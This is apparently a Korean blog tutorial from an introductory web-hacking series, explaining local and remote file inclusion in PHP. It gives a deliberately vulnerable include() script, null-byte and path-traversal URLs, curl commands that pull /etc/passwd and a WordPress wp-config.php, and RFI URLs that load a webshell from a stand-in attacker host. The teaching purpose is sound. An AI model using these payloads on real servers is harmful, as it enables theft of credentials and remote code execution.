본문 바로가기
웹 해킹/웹 해킹 개념

[웹 해킹 입문] 4. LFI&RFI

by sonysame 2018. 1. 15.

LFI&RFI



LFI 와 RFI는 Local과 Remote에 대한 File Inclusion(파일 포함) 을 말한다. 

해킹으로 말하자면, LFI와 RFI를 이용하여 웹 서버에 악성 코드를 넣는 기법이다.


가장 대표적인 것이 PHP의 include함수이다.

이 함수의 역할은 특정 파일을 포함시켜 스크립트를 실행한다.


<?php

echo "A $color $fruit";

include 'vars.php';

echo "A $color $fruit";

?>


vars.php의 소스코드는 다음과 같다!

<?php

$color='green';

$fruit='apple';

?>


또한 include함수는 php가 아닌 텍스트도 동일하게 포함시켜 실행한다.




LFI: 서버에 FTP나 자료실로 악성 코드를 업로드시켜 include 시킴

vulnerable.php?COLOR=C:\\ftp\upload\\exploit.txt


RFI: 외부서버의 악성코드를 불러와 include 시킴

vulnerable.php?COLOR=http://evil.example.com/webshell.txt


<SQL injection과 File Inclusion의 차이점>

injection: 외부에서 특정 코드를 주입하는 방식의 해킹기법

Inclusion: 내외부에서 특정 파일을 포함시키는 방식의 해킹기법




example) LFI


color.html

<center>

<form action='./vulnerable.php' method="get">

<select name="COLOR">

<option value="red">red</option>

<option value="blue">blue</option>

</select>

<input type="submit">

</form>

</center>


vulnerable.php

<?php

if(isset($_GET['COLOR']))

$color=$_GET['COLOR'];

include($color.'.php');

?>


hello.txt

<?php

$color='hello';

echo "user : ".$color."\n\n";

?>


http://localhost/LFIRFI/vulnerable.php?COLOR=C:\apm\Apache24\htdocs\LFIRFI\hello.txt

하면, hello.txt가 include되어야 하지만!

아무 일도 일어나지 않는다.

이유: .php확장자가 붙여지기 때문이다.


해결:널바이트를 넣어주어야 한다. 

php도 C와 마찬가지로 문자열을 읽으면서 Null Byte를 만나면 해당 문자열이 끝났음을 인식한다.

Null Byte의 URL인코딩 값인 %00을 사용한다.

http://localhost/LFIRFI/vulnerable.php?COLOR=C:\apm\Apache24\htdocs\LFIRFI\hello.txt%00


이러한 공격을 Null Byte 인젝션 혹은 퍼센트 인코딩(Percent Encoding) 이라 한다.

이 공격은 성공하지 못했다. 이 방법은 윈도우에서 통하지 않는다!

!리눅스에서는 NULL이 문자열의 끝을 의미하지만 윈도우는 그렇지 않다!


쨋든, http://localhost/LFIRFI/vulnerable.php?COLOR=C:\apm\Apache24\htdocs\LFIRFI\hello.txt%00 하면 성공해야 한다.


http://localhost/LFIRFI/vulnerable.php?COLOR=C:\\Temp\\password.txt%00하면 시스템의 패스워드 파일도 갖고 올 수 있을 것이다.




cURL을 통한 공격


cURL: Command line tool for transferring files with URL syntax

커맨드라인으로 HTTP 프로토콜 등의 데이터를 전송하는 도구

HTTP뿐만 아니라 HTTPS, FTP, LDAP, SCP, TELNET, SMTP, POP3등 대부분의 주요 프로토콜을 지원한다.

웹 브라우저의 통신을 커맨드로 주고받는다고 생각하면 된다.


취약점이 있는 함수: include, require_once


require_once($_POST["rootpath"]);

이 있다면

rootpath=/etc/passwd를 넣어준다면 패스워드를 탈취할 수 있다!


이 부분이 사용자의 입력 값을 검증하지 않고 curl을 통해 임의의 패스워드 파일을 포함시킨다.

ex) curl -X POST -f "rootpath=/etc/passwd" --url http//192.168.0.2/~~~





Path Traversal을 통한 공격


Path Traversal은 경로 탐색으로 특정 파일을 LFI시키는 것이다.

점 하나: 현재 디렉터리

점 두개: 상위 디렉터리

/ : root


서버의 내부 구조를 아는 경우에만 도움이 된다.


취약점

function addExtension($file)

{

return $file;

}

$files=array_map('addExtension',explode(',',$_GET['files']));


공격

curl --url http://~~~/css/css.php?files=../../../../wp-config.php


wordpress->wp-content->themes->mTheme-Unus->css->css.php

wordpress속에 wp-config.php


config파일 탈취 가능!


RFI는 LFI와는 다르게 외부 파일을 포함시킨다. 이것은 자신이 작성한 악성코드를 웹 취약점을 이용해 포함시켜 해킹하는 방법이다.

공격자가 ftp서버나 http서버에 악성코드르 작성하여 다음과 같이 실행시키면 RFI가 된다.


curl --url http://~~~css/css.php?files=ftp://111.111.1.1/vulnerable.txt




해킹에 대한 일차적인 방어는 시큐어 코딩!!

'웹 해킹 > 웹 해킹 개념' 카테고리의 다른 글

[웹 해킹 입문] 6. WireShark  (0) 2018.01.16
[웹 해킹 입문] 5. 스캔  (0) 2018.01.16
sqlmap  (0) 2018.01.15
[웹 해킹 입문] 3. SQL 인젝션  (6) 2018.01.08
[웹 해킹 입문] 1. 웹해킹 개요  (0) 2018.01.08